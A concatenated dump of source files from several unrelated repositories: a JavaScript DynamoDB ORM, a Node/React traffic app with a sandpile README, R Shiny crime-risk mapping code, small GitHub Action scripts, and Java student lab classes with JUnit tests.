const tableItem = tableItems[tableName].find(i => i[fk] === item[key]);
const refModel = RefModel.schema.parseDynamo(tableItem);
item[field] = new RefModel(refModel, false);
}
}
};
/**
*
* @param {*} key
* @param {*} update
*/
static async update(key, update) {
const params = {
TableName: schema.tableName,
Key: key,
ExpressionAttributeNames: {},
ExpressionAttributeValues: {},
ReturnValues: 'ALL_NEW'
};
const type = ['$SET', '$ADD', '$DELETE'].find(t => update[t]);
if (type === '$ADD') {
params.UpdateExpression = 'ADD ';
} else if (type === '$DELETE') {
params.UpdateExpression = 'DELETE ';
} else {
params.UpdateExpression = 'SET ';
}
if (schema.version) {
const k = schema.version;
// if (Object.keys(params.ExpressionAttributeNames).length) params.UpdateExpression += ', ';
params.UpdateExpression += `#${k} = :${k}`;
params.ExpressionAttributeNames[`#${k}`] = k;
params.ExpressionAttributeValues[`:${k}`] = Date.now();
if (update[type][k]) {
params.ConditionExpression = `#${k} = :${k}Old`;
params.ExpressionAttributeValues[`:${k}Old`] = update[type][k];
}
delete update[type][k];
}
Object.keys(key).forEach(k => delete update[type][k]);
Object.keys(update[type]).forEach(k => {
if (Object.keys(params.ExpressionAttributeNames).length) params.UpdateExpression += ', ';
params.UpdateExpression += `#${k} = :${k}`;
params.ExpressionAttributeNames[`#${k}`] = k;
params.ExpressionAttributeValues[`:${k}`] = update[type][k];
});
console.log(params);
const data = await orm.client.update(params).promise();
return data.Attributes;
}
/**
*
* @param {*} key
* @param {*} fields
*/
static async get(key, fields = []) {
key = Object.values(schema.key).reduce((a, c) => { a[c] = key[c]; return a; }, {});
const params = { TableName: schema.tableName, Key: key };
const { Item } = await orm.client.get(params).promise();
if (!Item) { return null; };
await NewModel.populate(orm.client, fields, [Item]);
return new NewModel(schema.parseDynamo(Item), false);
}
/**
*
* @param {*} params
* @param {*} fields
*/
static async find(params = {}, fields = []) {
params.TableName = schema.tableName;
const result = await Model.find(orm.client, params);
await NewModel.populate(orm.client, fields, result.Items);
result.Items = result.Items.map(item => new NewModel(schema.parseDynamo(item), false));
return result;
}
/**
*
*/
static get schema() {
return schema;
}
/**
*
*/
static get orm() {
return orm;
}
/**
*
* @param {*} json
*/
static fromJSON(json) {
return new NewModel(schema.parseJSON(json));
}
}
Object.defineProperty(NewModel, 'name', {
value: name
});
return NewModel;
}
/**
*
* @param {*} client
* @param {*} params
*/
static async batchWrite(client, params) {
const data = await client.batchWrite(params).promise();
if (Object.keys(data.UnprocessedItems).length) {
params.RequestItems = data.UnprocessedItems;
await Model.batchWrite(client, params);
}
}
/**
*
* @param {*} client
* @param {*} tableItems
*/
static async batchWritePuts(client, tableItems) {
if (!Object.keys(tableItems).length) { return {}; };
const items = [];
Object.keys(tableItems).forEach(tn => tableItems[tn].forEach(i => items.push({ tn: tn, i: i })));
const len = items.length / 25;
for (let x = 0, i = 0; x < len; i += 25, x++) {
const params = { RequestItems: {} };
items.slice(i, i + 25).map(ti => {
if (!params.RequestItems[ti.tn]) params.RequestItems[ti.tn] = [];
params.RequestItems[ti.tn].push({ PutRequest: { Item: ti.i } });
});
await Model.batchWrite(client, params);
}
};
/**
*
* @param {*} client
* @param {*} tableKeys
*/
static async batchWriteDeletes(client, tableKeys) {
if (!Object.keys(tableKeys).length) { return {}; };
const items = [];
Object.keys(tableKeys).forEach(tn => tableKeys[tn].forEach(i => items.push({ tn: tn, i: i })));
const len = items.length / 25;
for (let x = 0, i = 0; x < len; i += 25, x++) {
const params = { RequestItems: {} };
items.slice(i, i + 25).map(ti => {
if (!params.RequestItems[ti.tn]) params.RequestItems[ti.tn] = [];
params.RequestItems[ti.tn].push({ DeleteRequest: { Key: ti.i } });
});
await Model.batchWrite(client, params);
}
};
/**
*
* @param {*} client
* @param {*} params
*/
static async batchGet(client, params) {
const data = await client.batchGet(params).promise();
let obj = data.Responses;
if (Object.keys(data.UnprocessedKeys).length) {
params.RequestItems = data.UnprocessedKeys;
const res = await Model.batchGet(client, params);
obj = Object.keys(res).reduce((a, c) => { a[c] = (a[c]) ? a[c].concat(res[c]) : res[c]; return a; }, obj);
}
return obj;
};
/**
*
* @param {*} client
* @param {*} tableKeys
*/
static async batchGetKeys(client, tableKeys) {
if (!Object.keys(tableKeys).length) return {};
let obj = Object.keys(tableKeys).reduce((a, c) => { a[c] = []; return a; }, {});
const keys = [];
Object.keys(tableKeys).forEach(t => tableKeys[t].forEach(k => keys.push({ t: t, k: k })));
const len = keys.length / 100;
for (let x = 0, i = 0; x < len; i += 100, x++) {
const params = { RequestItems: {} };
keys.slice(i, i + 100).forEach(item => {
if (!params.RequestItems[item.t]) params.RequestItems[item.t] = { Keys: [] };
params.RequestItems[item.t].Keys.push(item.k);
});
const res = await Model.batchGet(client, params);
obj = Object.keys(res).reduce((a, c) => { a[c] = (a[c]) ? a[c].concat(res[c]) : res[c]; return a; }, obj);
}
return obj;
};
/**
* Make a query o scan recursively and return un object with items o reduce data
*
* @param {*} client DocumentClient
* @param {*} params Query prams
* @param {*} opts filer, map or reduce functions
* @param {*} acc accumulated object to return
*/
static async find(client, params, opts = {}, acc = { Items: [], ScannedCount: 0 }) {
if (opts.map && opts.reduce) { throw new Error('Only map or reduce is required'); }
if (opts.reduce && !opts.initialValue) { throw new Error('Reduce initialValue is required'); }
if (opts.reduce && !acc.Accumulator) { acc.Accumulator = opts.initialValue; };
const data = (params.KeyConditionExpression) ? await client.query(params).promise() : await client.scan(params).promise();
acc.ScannedCount += data.ScannedCount;
if (opts.filter) { data.Items = data.Items.filter(opts.filter); }
if (opts.map) { data.Items = await Promise.all(data.Items.map(opts.map)); };
if (opts.reduce) {
acc.Accumulator = await data.Items.reduce(opts.reduce, acc.Accumulator);
} else {
acc.Items = acc.Items.concat(data.Items);
acc.Count = acc.Items.length;
};
if (params.Limit) { params.Limit -= data.Items.length; }
if (data.LastEvaluatedKey) {
if (params.Limit === undefined || params.Limit > 0) {
params.ExclusiveStartKey = data.LastEvaluatedKey;
await Model.find(client, params, opts, acc);
} else {
acc.LastEvaluatedKey = data.LastEvaluatedKey;
}
}
return acc;
}
}
module.exports.dynorm = dynorm;
module.exports.Model = Model;
module.exports.Schema = Schema;
<file_sep># Yet Another Dynamod ORM
DynamoDB ORM based in JSON Schema and ES6 for use with Lambda (inspired in Dynamoose)
| 36b08dc2a07835905daacb835e9a71c89b6903d5 | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | fospitia/dynorm | 1743a9d8bbe1ca077ad3a26e1f882ca0b7b78f95 | e94df5a0f872513bb41216705a9eb73e5a675189 |
refs/heads/master | <repo_name>tsstace/Neighborhood-Traffic-App<file_sep>/README.md
# About Abelian Sandpiles:
The sandpile model (proposed by Bak, Tang, and Wiesenfeld) is a simple N-by-N grid, wherein each grid cell (box) can have 0 to 3 sand particles. At each iteration, a single grain of sand (particle) is added to the system by dropping it on a random cell in the sandpile table. Once a box stockpiles 4 particles of sand, the grains are then distributed (toppled over) to the neighboring cells, with each neighbor gaining a grain of sand. This toppling over of grains from one cell to the neighboring cells can lead the entire system to "criticality" causing "avalanches" (this can be thought of as a series of topples that occurs every time a box collects four grains of sand) resulting in some grains leaving the system when the toppling over happens at the grid's edge (boundary). With the same internal mechanism (dropping of a grain of sand) governing the sandpile, the resulting avalanche sizes can have varying largeness.
The end state of the abelian sandpile does not depend on the order in which you carry out the "topples." That's what makes it "abelian." Addition is abelian; adding 2 then adding 3 is the same as adding 3 and then 2. Abelian sandpiles are one of the earliest models to demonstrate self-organized criticality (SOC) -- a mechanism present in complex systems, a property of dynamic systems to organize microscopic behavior to be spatial scale independent. Systems displaying SOC do not require any external tuning of parameters; the system organizes itself into the critical behavior. As result, wherever the system starts, it finds its way to the critical threshold and stays there as long as new sand keeps getting added at constant rate.
source: https://nbviewer.jupyter.org/github/eflegara/BTW-Sandpile-Model/blob/master/Sandpile.ipynb
# Sandpile illustration:
[](https://www.youtube.com/watch?v=zHoiZtyA82E)
Courtesy of <NAME>; the color of a pixel records the number of 'topples' that have taken place at that location, so each avalanche "heats up" the area it covers.
# Create React Express App
## About This Boilerplate
This setup allows for a Node/Express/React app which can be easily deployed to Heroku.
The front-end React app will auto-reload as it's updated via webpack dev server, and the backend Express app will auto-reload independently with nodemon.
## Starting the app locally
Start by installing front and backend dependencies. While in this directory, run the following command:
```
yarn install
```
This should install node modules within the server and the client folder.
After both installations complete, run the following command in your terminal:
```
yarn start
```
Your app should now be running on <http://localhost:3000>. The Express server should intercept any AJAX requests from the client.
<file_sep>/client/src/components/Header/Header.js
import React from 'react';
import "./Header.css";
import { Jumbotron } from 'react-bootstrap';
const Header = props =>
<Jumbotron>
<div className = "container">
<header className="App-header">
<h1 className="App-title">Neighborhood Traffic App</h1>
</header>
</div>
</Jumbotron>
export default Header;<file_sep>/server.js
const express = require("express");
const path = require("path");
const bodyParser = require("body-parser");
const PORT = process.env.PORT || 3001;
const app = express();
// Overpass API for retrieving map data
const overpass = require("query-overpass");
const overpassURL = "https://lz4.overpass-api.de/api/interpreter";
// Define middleware here
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
// Serve up static assets (usually on heroku)
if (process.env.NODE_ENV === "production") {
app.use(express.static("client/build"));
}
// Define API routes here
app.get("/", (req, res) => {
res.sendFile(path.join(__dirname, "./client/build/index.html"));
});
// Send every other request to the React app
// Define any API routes before this runs
app.get("*", (req, res) => {
res.sendFile(path.join(__dirname, "./client/build/index.html"));
});
console.log("hello");
overpass('node(44.9454,-93.3000,44.9680,-93.2850);out;', function (error, response) {
if (error) {
console.log(error);
return;
}
response = JSON.stringify(response, null, 2);
console.log(response);
});
// app.listen(PORT, () => {
// console.log(`🌎 ==> Server now on port ${PORT}!`);
// });
| ba65f12e4526f7c6ffcbba2d791e5101e2dda8c6 | [
"Markdown",
"JavaScript"
] | 3 | Markdown | tsstace/Neighborhood-Traffic-App | 44c15ee21bf8a6f91a99c66d9bbabaa19d3bce62 | 9addc765fce929b531f96f2271593ba59bd6401f |
refs/heads/master | <repo_name>angelamissgao/HitMap<file_sep>/ui.R
library(shiny)
library(leaflet)
shinyUI(
navbarPage(
windowTitle="Hitmap" ,tags$img(src="img/logo.png", class=""),
theme = "css/full.css",
# div(class = "busy",
# img(src="img/busy.gif")),
sidebarLayout(
mainPanel(
leafletOutput("map", height = "620px"),
tags$head(tags$script(src="js/busy.js")),
tags$head(tags$script(src="js/nlform.js")),
HTML("<script>var nlform = new NLForm( document.getElementById( 'nl-form' ) );</script>")
),
sidebarPanel(
selectizeInput(
'position', 'I am travalling to', choices = "San francisco",
options = list(create = TRUE)
),
selectizeInput(
'people', 'with', choices = list("Family"=1, "friend(s)" = 2, "sweetheart" = 3,"colleague" = 4),
options = list(create = TRUE)
),
selectizeInput(
'goal', 'for', choices = list("sightseeing"=1, "shopping" = 2, "have fun" = 3,"romantic trip" = 4, "business" = 5),
options = list(create = TRUE)
)
)
)
)
)<file_sep>/hitmap.R
library(ggplot2)
library(rgdal)
library(scales)
library(dplyr)
library(maptools)
library(sp)
library(maps)
library(raster)
library(leaflet)
#Load San Francisco Census Blocks data
blocks <- shapefile("data/tl_2010_06075_tabblock10edited/tl_2010_06075_tabblock10.shp")
# blocks <- shapefile("data/cb_2014_06_tract_500k/cb_2014_06_tract_500k.shp")
blocks <- spTransform(x=blocks, CRSobj=CRS("+proj=longlat +datum=WGS84"))
names(blocks@data) <- tolower(names(blocks@data))
#Load San Francisco 2015 crime data
crime_data <- read.csv("data/SFPD_Incidents_-_Previous_Year__2015_.csv", stringsAsFactors = FALSE, header = TRUE)
crime_data$Category <- tolower(crime_data$Category)
#Load Categroy Scoring data
category_score <- read.csv("data/category_score.csv", stringsAsFactors = FALSE, header = TRUE)
category_score$Category <- tolower(category_score$Category)
#Load SF attractions data
attractions <- read.csv("data/sf-attractions.csv", stringsAsFactors = FALSE, header = TRUE)
###########################################################################
# Cleaning and Keeping only complete cases
# Loading SF 2015 and 2016 crime data -> remove unnecessary columns -> merge -> load category table -> assign (match) weights to each crime based on category
crime_data <- crime_data[complete.cases(crime_data), ]
# Assign category score to each crime
cat <- match(x=crime_data$Category, table=category_score$Category)
crime_data$Score <- category_score$Score[cat]
#Remove unncessary columns and turn crime_data in to data frame
df.crime_data <- data.frame(category=crime_data$Category, pdid=crime_data$PdId, score=crime_data$Score, latitude=crime_data$Y, longitude=crime_data$X)
###########################################################################
#Convert crime data to a spatial points object
df.crime_data <- SpatialPointsDataFrame(coords=df.crime_data[, c("longitude", "latitude")], data=df.crime_data[, c("category", "pdid", "score")], proj4string=CRS("+proj=longlat +datum=WGS84"))
#Spatial overlay to identify census polygon in which each crime point falls
#The Result `crime_blocks` is a dataframe with the block data for each point
crime_blocks <- over(x=df.crime_data, y=blocks)
#Add block data to each crime
df.crime_data@data <- data.frame(df.crime_data@data, crime_blocks)
#Aggregate crimes by block
agg_crimeblocks <- aggregate(cbind(df.crime_data@data$score)~geoid10, data = df.crime_data, FUN = sum)
#Format score into ranking
agg_crimeblocks$V1 <- dense_rank(agg_crimeblocks$V1)
#Add number of crimes to blocks object
m <- match(x=blocks@data$geoid10, table=agg_crimeblocks$geoid10)
blocks@data$score <- agg_crimeblocks$V1[m]
maxScore <- max(agg_crimeblocks$V1)
###########################################################################
# Hotels #
hotels_sample <- data.frame(id=1:2,
name=c("Omni San Francisco Hotel",
"Holiday Inn San Francisco Golden Gateway"),
lat=c(37.793344, 37.790309),
lon=c(-122.403101, -122.421986),
price=c(152, 105))
#Convert hotels to a spatial points object
df.hotels_sample <- SpatialPointsDataFrame(coords=hotels_sample[, c("lon", "lat")], data=hotels_sample[, c("name", "price")], proj4string=CRS("+proj=longlat +datum=WGS84"))
#Spatial overlay to identify census polygon in which each hotel falls
#The Result `crime_blocks` is a dataframe with the block data for each point
hotel_blocks <- over(x=df.hotels_sample, y=blocks)
#Add block data to each hotel
df.hotels_sample@data <- data.frame(df.hotels_sample@data, score=round(100-(hotel_blocks$score/maxScore)*100,digits=2))
###########################################################################
## Plotting an interactive map with leaflet ##
# Copying blocks df
df.blocks <- blocks
# Cleaning blocks data: replacing NA (crime rate) with 0
df.blocks@data$score[is.na(df.blocks@data$score)] <- 0
# Legend
ATgreen <- rgb(46/255, 204/255, 113/255, 1)
ATyellow <- rgb(241/255, 196/255, 14/255, 1)
ATred <- rgb(231/255, 76/255, 60/255, 1)
polpopup <- paste0("GEOID: ", df.blocks$geoid10, "<br>", "Crime rate: ", paste(round(100-(df.blocks$score/maxScore)*100,digits=2),"%",sep=""))
markerpopup <- paste0("Hotel: ", df.hotels_sample@data$name, "<br>", "Price: $", df.hotels_sample@data$price, "<br>", "Hitmap Score: ", df.hotels_sample@data$score, "%")
attractionspopup <- paste0("Attraction: ", attractions$name, "<br>", "Address: ", attractions$address.street, "<br>", "<a href=", attractions$profile, ">", "Link", "</a>" )
pal <- colorNumeric(
palette = c(ATgreen, ATyellow, ATred),
domain = df.blocks$score)
map <- leaflet(data = c(hotels_sample, attractions)) %>% setView(lng = -122.401558, lat = 37.784172, zoom = 13) %>%
addTiles() %>%
addPolygons(data = df.blocks,
fillColor = ~pal(score),
color = NA,
fillOpacity = 0.7,
weight = 1,
smoothFactor = 0.5,
popup = polpopup) %>%
addLegend(
colors = c('#e74c3c', '#fdae61', '#fee08b', '#ffffbf', '#d9ef8b', '#59d285'),
labels = c("<span style='font-size:11px'>Less safe</span>","","","","","<span style='font-size:11px'>Safer</span>"),
values = df.blocks$score,
position = "bottomright",
title = "Crime Risk",
opacity = 0.6) %>%
addMarkers(hotels_sample$lon, hotels_sample$lat, popup = markerpopup) %>%
addCircleMarkers(attractions$longitude, attractions$latitude,
popup = attractionspopup,
radius = 5,
color = "#9b59b6",
stroke = FALSE, fillOpacity = 0.5,
group = "Attractions") %>%
addLayersControl(
overlayGroups = c("Attractions"),
options = layersControlOptions(collapsed = FALSE)
)
# Draw the map
map
<file_sep>/server.R
library(ggplot2)
library(rgdal)
library(scales)
library(dplyr)
library(maptools)
library(sp)
library(maps)
library(raster)
library(leaflet)
library(shiny)
#Load San Francisco Census Blocks data
df.blocks <- shapefile("data/df.blocks/df.blocks.shp")
#Load SF attractions data
attractions <- read.csv("data/sf-attractions.csv", stringsAsFactors = FALSE, header = TRUE)
###########################################################################
maxScore <- max(df.blocks@data$score)
###########################################################################
## Plotting an interactive map with leaflet ##
# Cleaning blocks data: replacing NA (crime rate) with 0
df.blocks@data$score[is.na(df.blocks@data$score)] <- 0
# Legend
ATgreen <- rgb(46/255, 204/255, 113/255, 1)
ATyellow <- rgb(241/255, 196/255, 14/255, 1)
ATred <- rgb(231/255, 76/255, 60/255, 1)
polpopup <- paste0("GEOID: ", df.blocks$geoid10, "<br>", "Hitmap score: ", paste(round(100-(df.blocks$score/maxScore)*100,digits=2),"%",sep=""))
attractionspopup <- paste0("Attraction: ", attractions$name, "<br>", "Address: ", attractions$address.street, "<br>", "<a href=", attractions$profile, ">", "Link", "</a>" )
pal <- colorNumeric(
palette = c(ATgreen, ATyellow, ATred),
domain = df.blocks$score)
shinyServer(function(input, output, session) {
output$map <- renderLeaflet({
leaflet(data = c(attractions)) %>% setView(lng = -122.447902, lat = 37.761886, zoom = 12) %>%
addTiles() %>%
addPolygons(data = df.blocks,
fillColor = ~pal(score),
color = NA,
fillOpacity = 0.7,
weight = 1,
smoothFactor = 0.5,
popup = polpopup) %>%
addLegend(
colors = c('#e74c3c', '#fdae61', '#fee08b', '#ffffbf', '#d9ef8b', '#59d285'),
labels = c("<span style='font-size:11px'>Less safe</span>","","","","","<span style='font-size:11px'>Safer</span>"),
values = df.blocks$score,
position = "bottomright",
title = "Crime Risk",
opacity = 0.6) %>%
# addMarkers(hotels_sample$lon, hotels_sample$lat, popup = markerpopup) %>%
addCircleMarkers(attractions$longitude, attractions$latitude,
popup = attractionspopup,
radius = 5,
color = "#9b59b6",
stroke = FALSE, fillOpacity = 0.5,
group = "Attractions") %>%
addLayersControl(
overlayGroups = c("Attractions"),
options = layersControlOptions(collapsed = FALSE)
)
# get customer input data
})
}) | c38cc1c3792ef06150de66f47ebc38bb6f9ef01b | [
"R"
] | 3 | R | angelamissgao/HitMap | ba9d4e28fa31680944752419b96fc4ea03906a0c | 236d628dda081f779195309fbd53c3950ceb2b5c |
refs/heads/main | <file_sep>import os, sys, time
runid = sys.argv[1]
for x in range(20):
print("Run number: {}, repeated {}".format(runid, x))
time.sleep(20)<file_sep># bc-ccm-copy
Action to copy Ansible folder from source to destination directory
<file_sep>PyGithub==1.55
GitPython==3.1.24
<file_sep>#!/usr/bin/env bash
tmprepo=${REPOSITORY/$GITHUB_REPOSITORY_OWNER/}
repo=${tmprepo/'/'}
echo Transfering Ansible folder of service $repo
echo "The environment is:"
echo
env
# pwd
# cd $RUNNER_TEMP
# pwd
# ls -la
# git clone $GITHUB_SERVER_URL/ldahlke/schulcloud-server
# ls -la
# ls -la schulcloud-server
# git clone https://$GITHUB_TOKEN@github.com/ldahlke/ld-ccm.git
# cp -r schulcloud-server/ansible/ ld-ccm/
# cd ld-ccm
# git config user.email "<EMAIL>"
# git config user.name "ldahlke"
# git add *
# git commit -m "Added ansible folder"
# # git pull
# git push
echo
echo "Goodbye"
| 929e0f49d226ad97fa7d09ccf9b5ca39ae5e06e8 | [
"Markdown",
"Python",
"Text",
"Shell"
] | 4 | Python | ldahlke/bc-ccm-copy | 09a05be14b323fba57eb41f56b6ca022af9d11ca | b329943e3588b6e4604e1809d97d7e39561eaf0b |
refs/heads/master | <repo_name>Xabierland/PMOO<file_sep>/lab7/src/packlaboratorio7/Pareja.java
package packlaboratorio7;
public class Pareja
{
// atributos
private Alumno Hombre;
private Alumno Mujer;
// constructora
public Pareja(Alumno pAlumno1, Alumno pAlumno2)
{
if (pAlumno1 instanceof Hombre && pAlumno2 instanceof Mujer)
{
this.Hombre=pAlumno1;
this.Mujer=pAlumno2;
System.out.println("La pareja se formo con exito");
}
else if(pAlumno1 instanceof Mujer && pAlumno2 instanceof Hombre)
{
this.Hombre=pAlumno2;
this.Mujer=pAlumno1;
System.out.println("La pareja se formo con exito");
}
else
{
this.Hombre=null;
this.Mujer=null;
System.out.println("La pareja no se pudo formar");
}
}
// otros métodos
public Mujer getElla()
{
return (Mujer)this.Mujer;
}
public Hombre getEl()
{
return (Hombre)this.Hombre;
}
public boolean esta(Alumno pAlumno)
{
boolean esta=false;
if(this.Hombre==pAlumno || this.Mujer==pAlumno)
{
esta=true;
System.out.println("El alumno esta en la pareja");
}
else
{
esta=false;
System.out.println("El alumno no esta en la pareja");
}
return esta;
}
}
<file_sep>/PMOO_CONECTA4_FINAL/test/CasillaTest.java
import static org.junit.Assert.*;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
public class CasillaTest {
//Define los objetos
Casilla c1,c2,c3;
Jugador p1,p2;
@Before
public void setUp() throws Exception
{
//Crea todos los objetos al principio
p1=new Jugador("Xabier");
p2=new Jugador("Javi");
c1=new Casilla();
c2=new Casilla();
c3=new Casilla();
}
@After
public void tearDown() throws Exception
{
//Resetea todos los objetos despues de cada Test
p1=null;
p2=null;
c1=null;
c2=null;
c3=null;
}
@Test
public void testCasilla()
{
//Se comprueba que todos los objetos se han creado correctamente
assertNotNull(p1);
assertNotNull(p2);
assertNotNull(c1);
assertNotNull(c2);
assertNotNull(c3);
}
@Test
public void testGetFicha()
{
//Seteo dos de las casillas a cada jugador y una la dejo null
c1.setCasilla(p1);
c2.setCasilla(p2);
//La casilla dos tiene un ficha X
assertEquals(c1.getFicha(),'X');
assertNotEquals(c1.getFicha(),'J');
//La casilla dos tiene un ficha J
assertEquals(c2.getFicha(),'J');
assertNotEquals(c2.getFicha(),'X');
//En el caso de la casilla 3 al no estar llena ninguno de las
assertNotEquals(c3.getFicha(),'X');
assertNotEquals(c3.getFicha(),'J');
}
@Test
public void testTieneFicha()
{
//Seteo dos de las casillas a cada jugador y una la dejo null
c1.setCasilla(p1);
c2.setCasilla(p2);
assertTrue(c1.tieneFicha());
assertTrue(c2.tieneFicha());
assertFalse(c3.tieneFicha());
}
@Test
public void testSetCasilla()
{
//Este metodo se demuestra perfectamente mediante el testTieneFicha() y el testGetFicha()
}
@Test
public void testCasillaJugador()
{
//Seteo dos de las casillas a cada jugador y una la dejo null
c1.setCasilla(p1);
c2.setCasilla(p2);
//La casilla 1 como he dicho arriba pertenece al p1
assertEquals(c1.casillaJugador(),p1);
assertNotEquals(c1.casillaJugador(),p2);
//La casilla 2 como he dicho arriba pertenece al p2
assertNotEquals(c2.casillaJugador(),p1);
assertEquals(c2.casillaJugador(),p2);
//La casilla 3 como no la he definido no pertenece a nadie
assertNotEquals(c3.casillaJugador(),p1);
assertNotEquals(c3.casillaJugador(),p2);
}
}
<file_sep>/lab1/pruebas/lab1/PersonaTest.java
package lab1;
import static org.junit.Assert.*;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
public class PersonaTest {
Persona p1, p2, p3, p4, p5, p6, p7, p8, p9, p10, p11 ,p12, p13;
@Before
public void setUp() throws Exception {
//int pID, String pNac, String pGrupoSang, String pNomCom, int pEdad
p1=new Persona(111,"Etiopia","0+","<NAME>io",4);
p2=new Persona(111,"Australiana","0-","<NAME>",5);
p3=new Persona(222,"Australiana","AB+","<NAME>",17);
}
@After
public void tearDown() throws Exception {
p1=null;
p2=null;
p3=null;
}
@Test
public void testPersona() {
assertNotNull(p1);
assertNotNull(p2);
assertNotNull(p3);
}
@Test
public void testTieneMismaID() {
assertFalse(p1.tieneMismaID(p3));
assertTrue(p1.tieneMismaID(p2));
assertFalse(p2.tieneMismaID(p3));
assertTrue(p2.tieneMismaID(p1));
assertFalse(p3.tieneMismaID(p1));
assertFalse(p3.tieneMismaID(p2));
}
@Test
public void testPuedeConducir() {
p4=new Persona(111,"Etiopia","0+","Dios Mio",14);
p5=new Persona(111,"Australiana","0+","Dios Mio",16);
p6=new Persona(111,"Estadounidense","0+","Dios Mio",16);
p7=new Persona(111,"Britanico","0+","Dios Mio",17);
p8=new Persona(111,"Ruso","0+","Dios Mio",18);
p9=new Persona(111,"Etiopia","0+","Dios Mio",13);
p10=new Persona(111,"Australiana","0+","Dios Mio",15);
p11=new Persona(111,"Estadounidense","0+","Dios Mio",15);
p12=new Persona(111,"Britanico","0+","Dios Mio",16);
p13=new Persona(111,"Ruso","0+","Dios Mio",17);
assertTrue(p4.puedeConducir());
assertTrue(p5.puedeConducir());
assertTrue(p6.puedeConducir());
assertTrue(p7.puedeConducir());
assertTrue(p8.puedeConducir());
assertFalse(p9.puedeConducir());
assertFalse(p10.puedeConducir());
assertFalse(p11.puedeConducir());
assertFalse(p12.puedeConducir());
assertFalse(p13.puedeConducir());
}
@Test
public void testInicialNombre() {
assertSame(p1.inicialNombre(),'D');
assertSame(p2.inicialNombre(),'J');
}
@Test
public void testInicialApellido() {
assertSame(p1.inicialApellido(),'M');
assertSame(p2.inicialApellido(),'T');
assertSame(p3.inicialApellido(),'M');
}
@Test
public void testPuedeDonarleSangre() {
Persona O1, O2, A1, A2, B1, B2, AB1, AB2 ;
O1=new Persona(111,"Etiopia","0+","Dios Mio",14);
O2=new Persona(111,"Etiopia","0-","Dios Mio",14);
A1=new Persona(111,"Etiopia","A+","Dios Mio",14);
A2=new Persona(111,"Etiopia","A-","Dios Mio",14);
B1=new Persona(111,"Etiopia","B+","Dios Mio",14);
B2=new Persona(111,"Etiopia","B-","Dios Mio",14);
AB1=new Persona(111,"Etiopia","AB+","Dios Mio",14);
AB2=new Persona(111,"Etiopia","AB-","Dios Mio",14);
assertTrue(O1.puedeDonarleSangre(O1));
assertFalse(O1.puedeDonarleSangre(O2));
assertTrue(O1.puedeDonarleSangre(A1));
assertFalse(O1.puedeDonarleSangre(A2));
assertTrue(O1.puedeDonarleSangre(B1));
assertFalse(O1.puedeDonarleSangre(B2));
assertTrue(O1.puedeDonarleSangre(AB1));
assertFalse(O1.puedeDonarleSangre(AB2));
assertTrue(O2.puedeDonarleSangre(O1));
assertTrue(O2.puedeDonarleSangre(O2));
assertTrue(O2.puedeDonarleSangre(A1));
assertTrue(O2.puedeDonarleSangre(A2));
assertTrue(O2.puedeDonarleSangre(B1));
assertTrue(O2.puedeDonarleSangre(B2));
assertTrue(O2.puedeDonarleSangre(AB1));
assertTrue(O2.puedeDonarleSangre(AB2));
assertFalse(A1.puedeDonarleSangre(O1));
assertFalse(A1.puedeDonarleSangre(O2));
assertTrue(A1.puedeDonarleSangre(A1));
assertFalse(A1.puedeDonarleSangre(A2));
assertFalse(A1.puedeDonarleSangre(B1));
assertFalse(A1.puedeDonarleSangre(B2));
assertTrue(A1.puedeDonarleSangre(AB1));
assertFalse(A1.puedeDonarleSangre(AB2));
assertFalse(A2.puedeDonarleSangre(O1));
assertFalse(A2.puedeDonarleSangre(O2));
assertTrue(A2.puedeDonarleSangre(A1));
assertTrue(A2.puedeDonarleSangre(A2));
assertFalse(A2.puedeDonarleSangre(B1));
assertFalse(A2.puedeDonarleSangre(B2));
assertTrue(A2.puedeDonarleSangre(AB1));
assertTrue(A2.puedeDonarleSangre(AB2));
assertFalse(B1.puedeDonarleSangre(O1));
assertFalse(B1.puedeDonarleSangre(O2));
assertFalse(B1.puedeDonarleSangre(A1));
assertFalse(B1.puedeDonarleSangre(A2));
assertTrue(B1.puedeDonarleSangre(B1));
assertFalse(B1.puedeDonarleSangre(B2));
assertTrue(B1.puedeDonarleSangre(AB1));
assertFalse(B1.puedeDonarleSangre(AB2));
assertFalse(B2.puedeDonarleSangre(O1));
assertFalse(B2.puedeDonarleSangre(O2));
assertFalse(B2.puedeDonarleSangre(A1));
assertFalse(B2.puedeDonarleSangre(A2));
assertTrue(B2.puedeDonarleSangre(B1));
assertTrue(B2.puedeDonarleSangre(B2));
assertTrue(B2.puedeDonarleSangre(AB1));
assertTrue(B2.puedeDonarleSangre(AB2));
assertFalse(AB1.puedeDonarleSangre(O1));
assertFalse(AB1.puedeDonarleSangre(O2));
assertFalse(AB1.puedeDonarleSangre(A1));
assertFalse(AB1.puedeDonarleSangre(A2));
assertFalse(AB1.puedeDonarleSangre(B1));
assertFalse(AB1.puedeDonarleSangre(B2));
assertTrue(AB1.puedeDonarleSangre(AB1));
assertFalse(AB1.puedeDonarleSangre(AB2));
assertFalse(AB2.puedeDonarleSangre(O1));
assertFalse(AB2.puedeDonarleSangre(O2));
assertFalse(AB2.puedeDonarleSangre(A1));
assertFalse(AB2.puedeDonarleSangre(A2));
assertFalse(AB2.puedeDonarleSangre(B1));
assertFalse(AB2.puedeDonarleSangre(B2));
assertTrue(AB2.puedeDonarleSangre(AB1));
assertTrue(AB2.puedeDonarleSangre(AB2));
}
}
<file_sep>/lab4/pruebas/packlaboratorio4/OperacionTest.java
package packlaboratorio4;
import static org.junit.Assert.*;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
public class OperacionTest {
Operacion o1,o2;
ListaClientes lc1;
Cliente c1,c2;
@Before
public void setUp() throws Exception {
//int pIdOper, int pIdCliente, String pClaveTecleada, double pCant
o1 = new Operacion(1,1,"A100",25);
o2 = new Operacion(0,0,"A100",2000);
//int pId, String pNombre, String pClave, double pSaldo, boolean pPref
lc1=ListaClientes.getListaClientes();
lc1.anadirCliente(0, "PRUEBA", "Z100", 1000, false);
lc1.anadirCliente(1,"<NAME>", "A100",100,true);
}
@After
public void tearDown() throws Exception {
o1=null;
}
@Test
public void testOperacion() {
assertNotNull(o1);
assertNotNull(o2);
}
@Test
public void testTieneMismoId() {
assertTrue(o1.tieneMismoId(1));
assertFalse(o1.tieneMismoId(10));
assertTrue(o2.tieneMismoId(0));
assertFalse(o2.tieneMismoId(10));
}
@Test
public void testRealizarOperacion() {
o1.realizarOperacion();
c1=lc1.buscarClientePorId(1);
